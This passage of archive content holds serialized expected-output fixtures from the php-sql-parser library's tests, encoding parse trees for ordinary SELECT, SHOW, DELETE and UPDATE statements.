        				";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"now";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"-";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"sp.vu_start";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:8:"vu_start";}}s:8:"sub_tree";b:0;}}}}s:5:"alias";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:2:"IF";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:50:"TO_DAYS(now()) > TO_DAYS(sp.vu_stop)
        					";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"now";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"sp.vu_stop";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:7:"vu_stop";}}s:8:"sub_tree";b:0;}}}}s:5:"alias";b:0;}i:1;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:51:" TO_DAYS(now()) - TO_DAYS(sp.vu_stop)
        					";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"now";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"-";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"sp.vu_stop";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:7:"vu_stop";}}s:8:"sub_tree";b:0;}}}}s:5:"alias";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}}}}}}s:5:"delim";s:1:",";}i:9;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"st.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"st";i:1;s:2:"id";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:10;a:5:{s:9:"expr_type";s:18:"aggregate_function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:4:"view";s:9:"base_expr";s:7:"AS view";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"view";}}}s:9:"base_expr";s:3:"SUM";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:2:"IF";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:14:"st.type='view'";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"st.type";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"st";i:1;s:4:"type";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"'view'";s:8:"sub_tree";b:0;}}s:5:"alias";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}}}}s:5:"delim";s:1:",";}i:11;a:5:{s:9:"expr_type";s:18:"aggregate_function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:5:"click";s:9:"base_expr";s:8:"AS click";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"click";}}}s:9:"base_expr";s:3:"SUM";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:2:"IF";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:15:"st.type='click'";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"st.type";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"st";i:1;s:4:"type";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:"'click'";s:8:"sub_tree";b:0;}}s:5:"alias";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}}}}s:5:"delim";b:0;}}s:4:"FROM";a:2:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"stats";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"stats";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:2:"st";s:9:"base_expr";s:5:"AS st";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"st";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:11:"stats AS st";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"sponsor";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"sponsor";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:2:"sp";s:9:"base_expr";s:5:"AS sp";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"sp";}}}s:5:"hints";b:0;s:9:"join_type";s:5:"CROSS";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:13:"sponsor AS sp";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"st.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"st";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"sp.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}}s:5:"GROUP";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"st.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"st";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}}s:5:"ORDER";a:2:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"sp.alt_en";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:6:"alt_en";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";}i:1;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"sp.alt_pl";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:6:"alt_pl";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";}}}PK     \l#  #  F  vendor/greenlion/php-sql-parser/tests/expected/parser/show3.serializednu [        a:1:{s:4:"SHOW";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DATABASES";s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LIKE";s:8:"position";i:15;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:"'%bar%'";s:8:"position";i:20;}}}PK     \ÿHO  O  H  vendor/greenlion/php-sql-parser/tests/expected/parser/delete1.serializednu [        a:3:{s:6:"DELETE";a:2:{s:7:"options";b:0;s:6:"tables";b:0;}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"testA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"testA";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"as a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:10:"testA as a";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"a.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}}PK     \-.    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue32.serializednu [        a:2:{s:6:"UPDATE";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"user";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"user";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"user";s:8:"sub_tree";b:0;}}s:3:"SET";a:2:{i:0;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:13:"lastlogin = 7";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"lastlogin";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"lastlogin";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"7";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:5:"x = 3";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;}}}}}PK     \{  {  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue135.serializednu [        a:4:{s:6:"SELECT";a:3:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:7;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:9;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"z";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"z";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:11;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tableA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tableA";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"tableA";s:8:"sub_tree";b:0;s:8:"position";i:18;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:8:"position";i:31;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"<";s:8:"sub_tree";b:0;s:8:"position";i:32;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;s:8:"position";i:33;}}s:5:"GROUP";a:1:{i:0;a:4:{s:9:"expr_type";s:18:"aggregate_function";s:9:"base_expr";s:3:"STD";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:8:"position";i:48;}}s:8:"position";i:44;}}}PK     \8Y    H  vendor/greenlion/php-sql-parser/tests/expected/parser/nested2.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:2:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t1";s:8:"sub_tree";b:0;}i:1;a:8:{s:9:"expr_type";s:16:"table_expression";s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:1:{i:0;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:39:"(t2.a=t1.a AND t3.b=t1.b AND t4.c=t1.c)";s:8:"sub_tree";a:11:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t2.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t1.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t1";i:1;s:1:"a";}}s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t3.b";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t3";i:1;s:1:"b";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t1.b";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t1";i:1;s:1:"b";}}s:8:"sub_tree";b:0;}i:7;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:8;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t4.c";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t4";i:1;s:1:"c";}}s:8:"sub_tree";b:0;}i:9;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:10;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"t1.c";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t1";i:1;s:1:"c";}}s:8:"sub_tree";b:0;}}}}s:9:"base_expr";s:10:"t2, t3, t4";s:8:"sub_tree";a:3:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t2";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t2";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t3";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:5:"CROSS";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t3";s:8:"sub_tree";b:0;}i:2;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t4";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t4";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:5:"CROSS";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t4";s:8:"sub_tree";b:0;}}}}}PK     \|K\  \  H  vendor/greenlion/php-sql-parser/tests/expected/parser/delete2.serializednu [        a:3:{s:6:"DELETE";a:2:{s:7:"options";b:0;s:6:"tables";a:2:{i:0;s:2:"t1";i:1;s:2:"t2";}}s:4:"FROM";a:3:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t1";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t2";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t2";s:8:"sub_tree";b:0;}i:2;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t3";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t3";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:7:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t1.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t1";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t2.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t2.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t3.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t3";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}}}PK     \4  4  G  vendor/greenlion/php-sql-parser/tests/expected/parser/manual.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:1:{s:5:"delim";b:0;}}s:4:"FROM";a:2:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:10:"some_table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"some_table";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";s:8:"position";i:23;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"some_table a";s:8:"sub_tree";b:0;s:8:"position";i:12;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:13:"another_table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"another_table";}}s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"AS b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"position";i:49;}s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:1:{i:0;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:11:"FIND_IN_SET";s:8:"sub_tree";a:2:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"a.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:2:"id";}}s:8:"sub_tree";b:0;s:8:"position";i:69;}i:1;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:16:"b.ids_collection";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:14:"ids_collection";}}s:8:"sub_tree";b:0;s:8:"position";i:75;}}s:8:"position";i:57;}}s:9:"base_expr";s:57:"another_table AS b ON FIND_IN_SET(a.id, b.ids_collection)";s:8:"sub_tree";b:0;s:8:"position";i:35;}}}PK     \0(    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue40a.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:1:"t";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:7:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:""a'b\cd"";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:"'ef"gh'";s:8:"sub_tree";b:0;}}}PK     \t-  -  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue39.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:18:"aggregate_function";s:5:"alias";b:0;s:9:"base_expr";s:5:"COUNT";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:12:"DISTINCT bla";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"DISTINCT";s:8:"sub_tree";b:0;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"bla";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"bla";}}s:8:"sub_tree";b:0;}}s:5:"alias";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"foo";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"foo";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:3:"foo";s:8:"sub_tree";b:0;}}}PK     \}s    G  vendor/greenlion/php-sql-parser/tests/expected/parser/gtltop.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:2:"c1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"c1";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:10:"some_table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"some_table";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:8:"an_alias";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"an_alias";}}s:9:"base_expr";s:8:"an_alias";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:19:"some_table 